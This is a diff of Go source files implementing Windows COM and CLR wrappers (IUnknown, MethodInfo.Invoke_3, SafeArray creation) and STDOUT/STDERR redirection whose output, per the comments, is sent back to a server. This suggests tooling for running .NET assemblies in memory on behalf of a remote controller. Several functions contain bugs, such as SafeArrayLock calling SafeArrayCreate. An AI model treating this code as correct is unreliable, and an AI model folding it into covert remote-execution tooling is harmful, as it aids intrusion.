if len(errors) > 0 {
|
||||
var totalErrors string
|
||||
for e := range errors {
|
||||
totalErrors += e.Error()
|
||||
}
|
||||
err = fmt.Errorf(totalErrors)
|
||||
return
|
||||
}
|
||||
|
||||
// Read STDOUT Buffer
|
||||
if Stdout.Len() > 0 {
|
||||
stdout = Stdout.String()
|
||||
Stdout.Reset()
|
||||
}
|
||||
|
||||
// Read STDERR Buffer
|
||||
if Stderr.Len() > 0 {
|
||||
stderr = Stderr.String()
|
||||
Stderr.Reset()
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// CloseSTdoutStderr closes the Reader/Writer for the prviously redirected STDOUT/STDERR
|
||||
// that was changed to an *os.File
|
||||
func CloseStdoutStderr() (err error) {
|
||||
err = rSTDOUT.Close()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error closing the STDOUT Reader:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = wSTDOUT.Close()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error closing the STDOUT Writer:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = rSTDERR.Close()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error closing the STDERR Reader:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = wSTDERR.Close()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error closing the STDERR Writer:\n%s", err)
|
||||
return
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// BufferStdout is designed to be used as a go routine to monitor for data written to the REDIRECTED STDOUT
|
||||
// and collect it into a buffer so that it can be collected and sent back to a server
|
||||
func BufferStdout() {
|
||||
debugPrint("Entering into io.BufferStdout()...")
|
||||
stdoutReader := bufio.NewReader(rSTDOUT)
|
||||
for {
|
||||
// Standard STDOUT buffer size is 4k
|
||||
buf := make([]byte, 4096)
|
||||
line, err := stdoutReader.Read(buf)
|
||||
if err != nil {
|
||||
errors <- fmt.Errorf("there was an error reading from STDOUT in io.BufferStdout:\n%s", err)
|
||||
}
|
||||
if line > 0 {
|
||||
// Remove null bytes and add contents to the buffer
|
||||
Stdout.Write(bytes.TrimRight(buf, "\x00"))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// BufferStderr is designed to be used as a go routine to monitor for data written to the REDIRECTED STDERR
|
||||
// and collect it into a buffer so that it can be collected and sent back to a server
|
||||
func BufferStderr() {
|
||||
debugPrint("Entering into io.BufferStderr()...")
|
||||
stderrReader := bufio.NewReader(rSTDERR)
|
||||
for {
|
||||
// Standard STDOUT buffer size is 4k
|
||||
buf := make([]byte, 4096)
|
||||
line, err := stderrReader.Read(buf)
|
||||
if err != nil {
|
||||
errors <- fmt.Errorf("there was an error reading from STDOUT in io.BufferStdout:\n%s", err)
|
||||
}
|
||||
if line > 0 {
|
||||
// Remove null bytes and add contents to the buffer
|
||||
Stderr.Write(bytes.TrimRight(buf, "\x00"))
|
||||
}
|
||||
}
|
||||
}
|
||||
+123
@@ -0,0 +1,123 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// ISupportErrorInfo Ensures that error information can be propagated up the call chain correctly.
|
||||
// Automation objects that use the error handling interfaces must implement ISupportErrorInfo
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-isupporterrorinfo
|
||||
type ISupportErrorInfo struct {
|
||||
vtbl *ISupportErrorInfoVtbl
|
||||
}
|
||||
|
||||
type ISupportErrorInfoVtbl struct {
|
||||
// QueryInterface Retrieves pointers to the supported interfaces on an object.
|
||||
QueryInterface uintptr
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer.
|
||||
AddRef uintptr
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
Release uintptr
|
||||
// InterfaceSupportsErrorInfo Indicates whether an interface supports the IErrorInfo interface.
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-isupporterrorinfo-interfacesupportserrorinfo
|
||||
InterfaceSupportsErrorInfo uintptr
|
||||
}
|
||||
|
||||
// QueryInterface queries a COM object for a pointer to one of its interface;
|
||||
// identifying the interface by a reference to its interface identifier (IID).
|
||||
// If the COM object implements the interface, then it returns a pointer to that interface after calling IUnknown::AddRef on it.
|
||||
// HRESULT QueryInterface(
|
||||
// REFIID riid,
|
||||
// void **ppvObject
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(refiid_void)
|
||||
func (obj *ISupportErrorInfo) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into iunknown.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer
|
||||
// ULONG AddRef();
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-addref
|
||||
func (obj *ISupportErrorInfo) AddRef() (count uint32, err error) {
|
||||
debugPrint("Entering into iunknown.AddRef()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the IUnknown::AddRef method returned an error:\r\n%s", err)
|
||||
}
|
||||
err = nil
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
count = *(*uint32)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
// ULONG Release();
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-release
|
||||
func (obj *ISupportErrorInfo) Release() (count uint32, err error) {
|
||||
debugPrint("Entering into iunknown.Release()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the IUnknown::Release method returned an error:\r\n%s", err)
|
||||
}
|
||||
err = nil
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
count = *(*uint32)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
|
||||
// InterfaceSupportsErrorInfo
|
||||
// HRESULT InterfaceSupportsErrorInfo(
|
||||
// REFIID riid
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-isupporterrorinfo-interfacesupportserrorinfo
|
||||
func (obj *ISupportErrorInfo) InterfaceSupportsErrorInfo(riid windows.GUID) error {
|
||||
debugPrint("Entering into isupporterrorinfo.InterfaceSupportsErrorInfo()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.InterfaceSupportsErrorInfo,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the ISupportErrorInfo::InterfaceSupportsErrorInfo method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ISupportErrorInfo::InterfaceSupportsErrorInfo method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
+99
@@ -0,0 +1,99 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type IUnknown struct {
|
||||
vtbl *IUnknownVtbl
|
||||
}
|
||||
|
||||
// IUnknownVtbl Enables clients to get pointers to other interfaces on a given object through the
|
||||
// QueryInterface method, and manage the existence of the object through the AddRef and Release methods.
|
||||
// All other COM interfaces are inherited, directly or indirectly, from IUnknown. Therefore, the three
|
||||
// methods in IUnknown are the first entries in the vtable for every interface.
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iunknown
|
||||
type IUnknownVtbl struct {
|
||||
// QueryInterface Retrieves pointers to the supported interfaces on an object.
|
||||
QueryInterface uintptr
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer.
|
||||
AddRef uintptr
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
Release uintptr
|
||||
}
|
||||
|
||||
// QueryInterface queries a COM object for a pointer to one of its interface;
|
||||
// identifying the interface by a reference to its interface identifier (IID).
|
||||
// If the COM object implements the interface, then it returns a pointer to that interface after calling IUnknown::AddRef on it.
|
||||
// HRESULT QueryInterface(
|
||||
// REFIID riid,
|
||||
// void **ppvObject
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(refiid_void)
|
||||
func (obj *IUnknown) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into iunknown.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer
|
||||
// ULONG AddRef();
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-addref
|
||||
func (obj *IUnknown) AddRef() (count uint32, err error) {
|
||||
debugPrint("Entering into iunknown.AddRef()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the IUnknown::AddRef method returned an error:\r\n%s", err)
|
||||
}
|
||||
err = nil
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
count = *(*uint32)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
// ULONG Release();
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-release
|
||||
func (obj *IUnknown) Release() (count uint32, err error) {
|
||||
debugPrint("Entering into iunknown.Release()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the IUnknown::Release method returned an error:\r\n%s", err)
|
||||
}
|
||||
err = nil
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
count = *(*uint32)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
+207
@@ -0,0 +1,207 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// from mscorlib.tlh
|
||||
|
||||
type MethodInfo struct {
|
||||
vtbl *MethodInfoVtbl
|
||||
}
|
||||
|
||||
// MethodInfoVtbl Discovers the attributes of a method and provides access to method metadata.
|
||||
// Inheritance: Object -> MemberInfo -> MethodBase -> MethodInfo
|
||||
// MethodInfo Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=net-5.0
|
||||
// MethodBase Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodbase?view=net-5.0
|
||||
// MemberInfo Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.memberinfo?view=net-5.0
|
||||
// Object Class: https://docs.microsoft.com/en-us/dotnet/api/system.object?view=net-5.0
|
||||
type MethodInfoVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
GetTypeInfoCount uintptr
|
||||
GetTypeInfo uintptr
|
||||
GetIDsOfNames uintptr
|
||||
Invoke uintptr
|
||||
get_ToString uintptr
|
||||
Equals uintptr
|
||||
GetHashCode uintptr
|
||||
GetType uintptr
|
||||
get_MemberType uintptr
|
||||
get_name uintptr
|
||||
get_DeclaringType uintptr
|
||||
get_ReflectedType uintptr
|
||||
GetCustomAttributes uintptr
|
||||
GetCustomAttributes_2 uintptr
|
||||
IsDefined uintptr
|
||||
GetParameters uintptr
|
||||
GetMethodImplementationFlags uintptr
|
||||
get_MethodHandle uintptr
|
||||
get_Attributes uintptr
|
||||
get_CallingConvention uintptr
|
||||
Invoke_2 uintptr
|
||||
get_IsPublic uintptr
|
||||
get_IsPrivate uintptr
|
||||
get_IsFamily uintptr
|
||||
get_IsAssembly uintptr
|
||||
get_IsFamilyAndAssembly uintptr
|
||||
get_IsFamilyOrAssembly uintptr
|
||||
get_IsStatic uintptr
|
||||
get_IsFinal uintptr
|
||||
get_IsVirtual uintptr
|
||||
get_IsHideBySig uintptr
|
||||
get_IsAbstract uintptr
|
||||
get_IsSpecialName uintptr
|
||||
get_IsConstructor uintptr
|
||||
Invoke_3 uintptr
|
||||
get_returnType uintptr
|
||||
get_ReturnTypeCustomAttributes uintptr
|
||||
GetBaseDefinition uintptr
|
||||
}
|
||||
|
||||
func (obj *MethodInfo) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into methodinfo.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (obj *MethodInfo) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *MethodInfo) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// Invoke_3 Invokes the method or constructor reflected by this MethodInfo instance.
|
||||
// virtual HRESULT __stdcall Invoke_3 (
|
||||
// /*[in]*/ VARIANT obj,
|
||||
// /*[in]*/ SAFEARRAY * parameters,
|
||||
// /*[out,retval]*/ VARIANT * pRetVal ) = 0;
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodbase.invoke?view=net-5.0
|
||||
func (obj *MethodInfo) Invoke_3(variantObj Variant, parameters *SafeArray) (err error) {
|
||||
debugPrint("Entering into methodinfo.Invoke_3()...")
|
||||
var pRetVal *Variant
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.Invoke_3,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&variantObj)),
|
||||
uintptr(unsafe.Pointer(parameters)),
|
||||
uintptr(unsafe.Pointer(pRetVal)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the MethodInfo::Invoke_3 method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// If the HRESULT is a TargetInvocationException, attempt to get the inner error
|
||||
// This currentl doesn't work
|
||||
if uint32(hr) == COR_E_TARGETINVOCATION {
|
||||
var iSupportErrorInfo *ISupportErrorInfo
|
||||
// See if MethodInfo supports the ISupportErrorInfo interface
|
||||
err = obj.QueryInterface(IID_ISupportErrorInfo, unsafe.Pointer(&iSupportErrorInfo))
|
||||
if err != nil {
|
||||
err = fmt.Errorf("the MethodInfo::QueryInterface method returned an error when looking for the ISupportErrorInfo interface:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// See if the ICorRuntimeHost interface supports the IErrorInfo interface
|
||||
// Not sure if there is an Interface ID for MethodInfo
|
||||
err = iSupportErrorInfo.InterfaceSupportsErrorInfo(IID_ICorRuntimeHost)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error with the ISupportErrorInfo::InterfaceSupportsErrorInfo method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Get the IErrorInfo object
|
||||
iErrorInfo, errG := GetErrorInfo()
|
||||
if errG != nil {
|
||||
err = fmt.Errorf("there was an error getting the IErrorInfo object:\r\n%s", errG)
|
||||
return err
|
||||
}
|
||||
|
||||
// Read the IErrorInfo description
|
||||
desc, errD := iErrorInfo.GetDescription()
|
||||
if errD != nil {
|
||||
err = fmt.Errorf("the IErrorInfo::GetDescription method returned an error:\r\n%s", errD)
|
||||
return err
|
||||
}
|
||||
if desc == nil {
|
||||
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x with an IErrorInfo description of: %s", hr, *desc)
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
|
||||
if pRetVal != nil {
|
||||
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero pRetVal: %+v", pRetVal)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetString returns a string that represents the current object
|
||||
// a string version of the method's signature
|
||||
// public virtual string ToString ();
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.object.tostring?view=net-5.0#System_Object_ToString
|
||||
func (obj *MethodInfo) GetString() (str string, err error) {
|
||||
debugPrint("Entering into methodinfo.GetString()...")
|
||||
var object *string
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.get_ToString,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&object)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the MethodInfo::ToString method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the Assembly::ToString method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
str = ReadUnicodeStr(unsafe.Pointer(object))
|
||||
return
|
||||
}
|
||||
+340
@@ -0,0 +1,340 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// SafeArray represents a safe array
|
||||
// defined in OAIdl.h
|
||||
// typedef struct tagSAFEARRAY {
|
||||
// USHORT cDims;
|
||||
// USHORT fFeatures;
|
||||
// ULONG cbElements;
|
||||
// ULONG cLocks;
|
||||
// PVOID pvData;
|
||||
// SAFEARRAYBOUND rgsabound[1];
|
||||
// } SAFEARRAY;
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearray
|
||||
// https://docs.microsoft.com/en-us/archive/msdn-magazine/2017/march/introducing-the-safearray-data-structure
|
||||
type SafeArray struct {
|
||||
// cDims is the number of dimensions
|
||||
cDims uint16
|
||||
// fFeatures is the feature flags
|
||||
fFeatures uint16
|
||||
// cbElements is the size of an array element
|
||||
cbElements uint32
|
||||
// cLocks is the number of times the array has been locked without a corresponding unlock
|
||||
cLocks uint32
|
||||
// pvData is the data
|
||||
pvData uintptr
|
||||
// rgsabout is one bound for each dimension
|
||||
rgsabound [1]SafeArrayBound
|
||||
}
|
||||
|
||||
// SafeArrayBound represents the bounds of one dimension of the array
|
||||
// typedef struct tagSAFEARRAYBOUND {
|
||||
// ULONG cElements;
|
||||
// LONG lLbound;
|
||||
// } SAFEARRAYBOUND, *LPSAFEARRAYBOUND;
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearraybound
|
||||
type SafeArrayBound struct {
|
||||
// cElements is the number of elements in the dimension
|
||||
cElements uint32
|
||||
// lLbound is the lowerbound of the dimension
|
||||
lLbound int32
|
||||
}
|
||||
|
||||
// CreateSafeArray is a wrapper function that takes in a Go byte array and creates a SafeArray containing unsigned bytes
|
||||
// by making two syscalls and copying raw memory into the correct spot.
|
||||
func CreateSafeArray(rawBytes []byte) (*SafeArray, error) {
|
||||
debugPrint("Entering into safearray.CreateSafeArray()...")
|
||||
|
||||
safeArrayBounds := SafeArrayBound{
|
||||
cElements: uint32(len(rawBytes)),
|
||||
lLbound: int32(0),
|
||||
}
|
||||
|
||||
safeArray, err := SafeArrayCreate(VT_UI1, 1, &safeArrayBounds)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// now we need to use RtlCopyMemory to copy our bytes to the SafeArray
|
||||
modNtDll := syscall.MustLoadDLL("ntdll.dll")
|
||||
procRtlCopyMemory := modNtDll.MustFindProc("RtlCopyMemory")
|
||||
|
||||
// TODO Replace RtlCopyMemory with SafeArrayPutElement or SafeArrayAccessData
|
||||
|
||||
// void RtlCopyMemory(
|
||||
// void* Destination,
|
||||
// const void* Source,
|
||||
// size_t Length
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlcopymemory
|
||||
_, _, err = procRtlCopyMemory.Call(
|
||||
safeArray.pvData,
|
||||
uintptr(unsafe.Pointer(&rawBytes[0])),
|
||||
uintptr(len(rawBytes)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return safeArray, nil
|
||||
}
|
||||
|
||||
// SafeArrayCreate creates a new array descriptor, allocates and initializes the data for the array, and returns a pointer to the new array descriptor.
|
||||
// SAFEARRAY * SafeArrayCreate(
|
||||
// VARTYPE vt,
|
||||
// UINT cDims,
|
||||
// SAFEARRAYBOUND *rgsabound
|
||||
// );
|
||||
// Varient types: https://docs.microsoft.com/en-us/windows/win32/api/wtypes/ne-wtypes-varenum
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraycreate
|
||||
func SafeArrayCreate(vt uint16, cDims uint32, rgsabound *SafeArrayBound) (safeArray *SafeArray, err error) {
|
||||
debugPrint("Entering into safearray.SafeArrayCreate()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
procSafeArrayCreate := modOleAuto.MustFindProc("SafeArrayCreate")
|
||||
|
||||
ret, _, err := procSafeArrayCreate.Call(
|
||||
uintptr(vt),
|
||||
uintptr(cDims),
|
||||
uintptr(unsafe.Pointer(rgsabound)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
|
||||
if ret == 0 {
|
||||
err = fmt.Errorf("the OleAut32!SafeArrayCreate function return 0x%x and the SafeArray was not created", ret)
|
||||
return
|
||||
}
|
||||
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
safeArray = (*SafeArray)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
|
||||
// SysAllocString converts a Go string to a BTSR string, that is a unicode string prefixed with its length.
|
||||
// Allocates a new string and copies the passed string into it.
|
||||
// It returns a pointer to the string's content.
|
||||
// BSTR SysAllocString(
|
||||
// const OLECHAR *psz
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-sysallocstring
|
||||
func SysAllocString(str string) (unsafe.Pointer, error) {
|
||||
debugPrint("Entering into safearray.SysAllocString()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
sysAllocString := modOleAuto.MustFindProc("SysAllocString")
|
||||
|
||||
input := utf16Le(str)
|
||||
ret, _, err := sysAllocString.Call(
|
||||
uintptr(unsafe.Pointer(&input[0])),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return nil, err
|
||||
}
|
||||
// TODO Return a pointer to a BSTR instead of an unsafe.Pointer
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
return unsafe.Pointer(ret), nil
|
||||
}
|
||||
|
||||
// SafeArrayPutElement pushes an element to the safe array at a given index
|
||||
// HRESULT SafeArrayPutElement(
|
||||
// SAFEARRAY *psa,
|
||||
// LONG *rgIndices,
|
||||
// void *pv
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayputelement
|
||||
func SafeArrayPutElement(psa *SafeArray, rgIndices int32, pv unsafe.Pointer) error {
|
||||
debugPrint("Entering into safearray.SafeArrayPutElement()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayPutElement := modOleAuto.MustFindProc("SafeArrayPutElement")
|
||||
|
||||
hr, _, err := safeArrayPutElement.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(unsafe.Pointer(&rgIndices)),
|
||||
uintptr(pv),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the OleAut32!SafeArrayPutElement call returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// SafeArrayLock increments the lock count of an array, and places a pointer to the array data in pvData of the array descriptor
|
||||
// HRESULT SafeArrayLock(
|
||||
// SAFEARRAY *psa
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraylock
|
||||
func SafeArrayLock(psa *SafeArray) error {
|
||||
debugPrint("Entering into safearray.SafeArrayLock()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayCreate := modOleAuto.MustFindProc("SafeArrayCreate")
|
||||
|
||||
hr, _, err := safeArrayCreate.Call(uintptr(unsafe.Pointer(psa)))
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return err
|
||||
}
|
||||
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the OleAut32!SafeArrayCreate function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// SafeArrayGetVartype gets the VARTYPE stored in the specified safe array
|
||||
// HRESULT SafeArrayGetVartype(
|
||||
// SAFEARRAY *psa,
|
||||
// VARTYPE *pvt
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetvartype
|
||||
func SafeArrayGetVartype(psa *SafeArray) (uint16, error) {
|
||||
debugPrint("Entering into safearray.SafeArrayGetVartype()...")
|
||||
|
||||
var vt uint16
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayGetVartype := modOleAuto.MustFindProc("SafeArrayGetVartype")
|
||||
|
||||
hr, _, err := safeArrayGetVartype.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(unsafe.Pointer(&vt)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return 0, fmt.Errorf("the OleAut32!SafeArrayGetVartype function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return vt, nil
|
||||
}
|
||||
|
||||
